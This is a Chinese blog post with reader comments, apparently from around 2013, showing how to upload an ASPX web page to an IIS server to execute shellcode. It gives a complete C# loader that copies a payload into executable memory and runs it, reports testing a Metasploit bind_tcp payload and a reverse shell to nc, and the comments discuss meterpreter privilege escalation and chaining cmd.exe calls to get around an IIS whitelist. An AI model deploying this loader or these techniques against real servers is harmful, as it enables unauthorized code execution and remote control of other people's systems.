首先说明一下,这种方法有一定的局限性,并且只有在一些比较特殊的情况下才需要使用,比如exe文件传不上去、传上去不执行等等。使用这种方法的环境要求:服务器支持aspx,并且你能够向服务器上传aspx文件并访问。

1.基本原理

先给服务器上传个aspx文件,内容如下:

<%@ Page Language="C#" AutoEventWireup="true"   Inherits="System.Web.UI.Page" %>
<%@ Import Namespace="System" %>

<script runat="server">
    protected void Page_Load(object sender, EventArgs e)
    {
        Response.Write(Hello());
    }
    private string Hello()
    {
        return "Hello World";
    }
</script>

用.NET做过网站的同学应该比我清楚这些代码的执行原理,简单说就是我在这个页面的前端部分放入了后台代码,在你访问页面时,会触发Page_Load事件,并调用Hello()这个成员函数,后台代码可以是C#或者VB。在开发.NET网站的时候,网站源码大都是以xxx.aspx和xxx.aspx.cs(或者xxx.aspx.vb)这种形式组织的,.cs文件或.vb文件就是对应的后台代码。通常网站发布后,这些后台代码都被编译成dll文件,所以你是修改不了的,但是前端依然可以插入后台代码,如果前端和后台都定义了Page_Load事件,微软也有一个默认的规则来控制两者的执行顺序:前端先于后台执行,所以你不用担心写上去的代码不会被执行。

除此之外,直接将xxx.aspx和xxx.aspx.cs这种代码放到网站目录下,它也是可以正常执行的,我相信你有时候也碰到过这种情况,这时你就可以直接将代码放到cs文件里了,效果是一样的。

上面页面执行结果就是:

利用ASPX执行shellcode

既然可以在前端写上后台代码并执行,而后台代码又支持.NET的大部分语法,那么也就可以利用这一点来执行任何你想要的,可以用.NET实现的并且权限允许的功能,用C#或VB来写都是可以的。

2.利用方式

利用这一点你可以完成很多工作,比如执行一条命令,启动一个程序,这就是为什么你会感觉aspx的webshell权限比asp高。因此利用它来执行shellcode也就不是什么难事。

<%@ Page Language="C#" AutoEventWireup="true" Inherits="System.Web.UI.Page" %>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.Runtime.InteropServices" %>

<script runat="server">
    delegate int MsfpayloadProc();
    protected void Page_Load(object sender, EventArgs e)
    {
        byte[] codeBytes = { /*你的shellcode*/
                };
        IntPtr handle = IntPtr.Zero;
        handle = VirtualAlloc(
            IntPtr.Zero,
            codeBytes.Length,
            MEM_COMMIT | MEM_RESERVE,
            PAGE_EXECUTE_READWRITE);
        try
        {
            Marshal.Copy(codeBytes, 0, handle, codeBytes.Length);
            MsfpayloadProc msfpayload
               = Marshal.GetDelegateForFunctionPointer(handle, typeof(MsfpayloadProc)) as MsfpayloadProc;
            msfpayload();
        }
        finally
        {
            VirtualFree(handle, 0, MEM_RELEASE);
        }
    }

    //Windows API 
    [DllImport("Kernel32.dll", EntryPoint = "VirtualAlloc")]
    public static extern IntPtr VirtualAlloc(IntPtr address, int size, uint allocType, uint protect);
    [DllImport("Kernel32.dll", EntryPoint = "VirtualFree")]
    public static extern bool VirtualFree(IntPtr address, int size, uint freeType);
    //flags 
    const uint MEM_COMMIT = 0x1000;
    const uint MEM_RESERVE = 0x2000;
    const uint PAGE_EXECUTE_READWRITE = 0x40;
    const uint MEM_RELEASE = 0x8000;
</script>

上传写好的aspx文件,然后访问,页面会一直显示为加载状态。我在测试页面里添加的shellcode是一个bind_tcp的msfpayload,监听的是65314端口(随手按的,如有雷同纯属巧合)。看一下端口开了没有:

利用ASPX执行shellcode

再看一下进程:

利用ASPX执行shellcode

测试一下能不能上线:

利用ASPX执行shellcode

可以看到已经连上了,不过权限依然是Network Service。这时候,就算你把shellcode.aspx页面关闭了,msfpayload依然在运行,连接还是不会中断的。当然,重启网站的应用程序池,msfpayload就停止运行了。

3.小结

如果你可以提权,并直接上传和运行exe文件,你可以无视上面的废话,直接跳过本帖。此外,利用这种方法运行的shellcode,权限跟IIS进程的权限一致。如果shellcode执行了越权的操作,比如添加管理员,访问页面时连接会被重置,所以,别指望用它来提权,要是可以别人也早就想到了。

那这么鸡肋的方法到底有什么用呢?你可以自己去发挥,shellcode嘛,我也不是很懂。

我测试用的是win2k3+iis6,欢迎大家在其他环境下测试并反馈意见,包括安装了WAF的环境。

后来找了个反弹shell到nc的shellcode试了一下,也成功了。shellcode是这种格式的:0xfc,0xe8,0x89,0x00。

留言评论(旧系统):

佚名 @ 2013-05-11 11:50:59

核总你觉得这种方法能不能突破星外安全模式?

本站回复:

和突不突破无关,本来就是权限继承,而且没有什么实际用途,玩玩可以。 执行shellcode还不如去执行一个低权限远控木马,比这玩意儿方便多了……

佚名 @ 2013-05-12 22:46:42

请在这里填写留言内容,留言内容最长不超过 400 字。

本站回复:

[暂无回复]

佚名 @ 2013-05-12 22:48:49

我次奥 你验证码比大牛本人还骚 …… 如果ASPX 不能CMD 只传脚本上去 MSF能接到吗? 接到能执行CMD吗 不能的话 还是你的方法比较直接……能的话 就能做好多好事。。。

本站回复:

应该可以。

ping @ 2013-05-14 20:32:32

有人说低权限的meterpreter可以提权 - -说是能migrate管理进程上,本人测试失败。。 而且测试msfpayload生成的aspx马执行并无返回的shell,求赐教。。

本站回复:

检查shellcode格式是否正确,是否兼容目标系统。

ping @ 2013-05-14 20:35:07

有人说低权限的meterpreter可以提权 - -说是能migrate管理进程上,本人测试失败。。 而且测试msfpayload生成的aspx马执行并无返回的shell,求赐教。。

本站回复:

检查shellcode格式是否正确,是否兼容目标系统。

炮灰 @ 2015-01-02 21:28:39

后来找了个反弹shell到nc的shellcode试了一下 求解nc的shllcode代码

本站回复:

http://lcx.cc/?i=4271 http://lcx.cc/?i=916

炮灰 @ 2015-01-11 21:13:47

最近在研究某逗比iis白名单,net调用exe,遇到一个很蛋疼的问题,不能同时调用2个,于是想到了反弹shell 肯定是不受限制,无奈ws组件及net的某个文件被列为黑名单,导致菜刀链接不上,纠结好久,psi.FileName = “cmd.exe”; 求解如何调用2个exe 如1.exe & 2.exe 这样

本站回复:

???,没明白。

炮灰 @ 2015-01-16 22:17:42

留言内容: 最近在研究某逗比iis白名单,net调用exe,遇到一个很蛋疼的问题,不能同时调用2个,于是想到了反弹shell 肯定是不受限制,无奈ws组件及net的某个文件被列为黑名单,导致菜刀链接不上,纠结好久,psi.FileName = “cmd.exe”; 求解如何调用2个exe 如1.exe & 2.exe 这样 站长回复: ???,没明白。 Process p = new Process(); p.StartInfo.FileName = "cmd.exe"; p.StartInfo.UseShellExecute = false; p.StartInfo.RedirectStandardInput = true; p.StartInfo.RedirectStandardOutput = true; p.StartInfo.RedirectStandardError = true; p.StartInfo.CreateNoWindow = true; string strOutput = null; "p.StartInfo.FileName = "cmd.exe";"如何像cmd窗口一样调用2个exe 格式"c:\1.exe | c:\2.exe" 直接写在里面的话会爆文件不存在,不管是绝对路径还是当前路径 求大神解谜

本站回复:

你为什么要同时调用两个呢? 1、对aspx不是很熟,但是这种方法执行程序推测只是但程序执行,自然不支持“同时调用两个”。 2、既然你可以运行程序了,那么同时调用两个就很简单了啊。 2.a、该方法支持设置命令行参数:p.StartInfo.Arguments = "可以使用cmd命令行参数"; 2.b、那么就简单多了,增加一行代码:p.StartInfo.Arguments = "/c c:\1.exe | c:\2.exe"; 2.c、该行代码效果等同于在cmd中执行:c:\1.exe | c:\2.exe,等同于:cmd.exe /c c:\1.exe | c:\2.exe 3、参考资料: http://msdn.microsoft.com/zh-cn/library/system.diagnostics.processstartinfo.redirectstandardoutput(v=vs.80).aspx?cs-save-lang=1&cs-lang=vb#code-snippet-1 http://www.cnblogs.com/yukaizhao/archive/2012/11/13/csharp_process.html 4、其实这种问题你只要花几分钟百度一下就有详细说明了……